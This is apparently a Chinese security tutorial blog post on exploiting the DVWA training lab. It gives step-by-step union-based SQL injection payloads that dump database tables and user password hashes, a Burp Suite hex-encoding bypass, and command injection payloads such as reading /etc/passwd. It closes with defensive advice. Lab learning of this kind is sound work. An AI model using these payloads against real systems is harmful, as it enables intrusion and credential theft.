关键词:Web安全 SQL注入 命令注入 DVWA Burp Suite 漏洞挖掘
1. 引言:为何要学习漏洞挖掘?
在数字化时代,Web应用安全至关重要。SQL注入和命令注入作为OWASP Top 10中的常客,是攻击者最常用的攻击手段之一。通过实战理解这些漏洞的原理、挖掘方法和防御手段,是每一位安全研究员、开发者和运维人员的必修课。
本文将带你从零搭建靶场环境,一步步深入SQL注入与命令注入的实战挖掘,帮助你建立初步的Web漏洞挖掘能力。
2. 环境搭建:DVWA + 小皮面板
2.1 准备工作
- 操作系统:Windows 10
- 集成环境:小皮面板(PHPStudy)
- 靶场应用:DVWA v2.3
2.2 安装步骤
- 安装小皮面板
下载后按提示安装,注意安装路径不能包含中文。

2.确认系统位数
按 Win + R,输入 cmd 打开命令提示符,执行 systeminfo 查看系统类型。
3.部署DVWA
- 下载DVWA压缩包,解压后放入小皮面板的 www 目录。

4.配置文件重命名
进入 config 文件夹,将 config.inc.php.dist 复制并重命名为 config.inc.php。

5.开启PHP扩展
在小皮面板中开启 allow_url_include 和 mysqli 扩展。
6.初始化数据库
浏览器访问 http://127.0.0.1/DVWA-2.3/setup.php,点击 Create / Reset Database。

- 7.登录DVWA
使用默认账号 admin,密码 password 登录。

3. SQL注入实战
3.1 漏洞原理简介
SQL注入是由于程序未对用户输入进行充分过滤,导致攻击者可以执行恶意SQL语句,从而操纵数据库的一种漏洞。
3.2 手工注入流程
步骤1:判断注入类型
在SQL Injection页面输入 1',发现报错,说明存在字符型注入。
原理分析:输入 1' 破坏了原SQL语句的引号闭合,形成 WHERE id='1'' 的无效语法,导致数据库报错。

步骤2:构造永真条件
输入 1' or 1=1#,成功爆出所有数据,确认漏洞存在。

步骤3:判断字段数
使用 order by 子句判断查询字段数:
- 1' order by 2# → 正常
- 1' order by 3# → 报错
结论:查询结果包含2个字段。

步骤4:获取数据库信息
1' union select 1,database()#
得到当前数据库名:dvwa

步骤5:获取表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
得到表名:guestbook, users

步骤6:获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
得到users表的字段:user_id, first_name, last_name, user, password, avatar...

步骤7:提取数据
1' union select group_concat(user,0x3a,password),group_concat(first_name,0x3a,last_name) from users#
获取所有用户名、密码和姓名信息。

步骤8:密码破解
将获取的MD5哈希值通过在线工具(如cmd5.com)解密,得到明文密码。

3.3 使用Burp Suite辅助注入
配置Burp Suite
启动Kali中的Burp Suite,如遇Java版本问题,请更新Java版本。

抓包分析
- 配置浏览器代理,在SQL注入页面输入 1 并提交。
- 在Burp Suite的Proxy中截获请求,发送到Repeater模块。

在Repeater中构造Payload
- 判断字段数:
id=1' order by 3%23&Submit=Submit
- 返回错误,确认字段数为2。

- 获取数据库名:
id=1' union select 1,database()%23&Submit=Submit
- 得到数据库名 dvwa。

- 绕过转义获取表名:
由于单引号被转义,将 'dvwa' 转为16进制 0x64767761:
id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761%23&Submit=Submit
- 获取字段值:
通过类似方法逐步获取表中的所有数据。

4. 命令注入实战
命令注入与SQL注入原理类似,都是由于程序未过滤用户输入,导致系统命令被恶意执行。
典型Payload示例
- 127.0.0.1 && whoami → 查看当前用户
- 127.0.0.1 | net user → 查看系统用户
- 127.0.0.1; cat /etc/passwd → 查看系统密码文件(Linux)
5. 防御建议
SQL注入防御
- 使用预编译语句(Prepared Statements)
- 严格的输入验证(白名单机制)
- 最小权限原则(数据库账户权限限制)
- Web应用防火墙(WAF)
命令注入防御
- 避免使用系统命令执行函数
- 使用白名单验证输入
- 对输入进行严格转义
- 使用更安全的替代方案
6. 总结
通过本次实战,我们学习了:
- DVWA靶场环境的搭建与配置
- SQL注入漏洞的原理与手工挖掘流程
- Burp Suite在漏洞挖掘中的辅助应用
- 命令注入的基本概念与防御方法
漏洞挖掘是一门需要理论与实践结合的技艺。在后续文章中,我们将深入探讨更多Web漏洞类型及其挖掘技巧。

被折叠的 条评论
为什么被折叠?



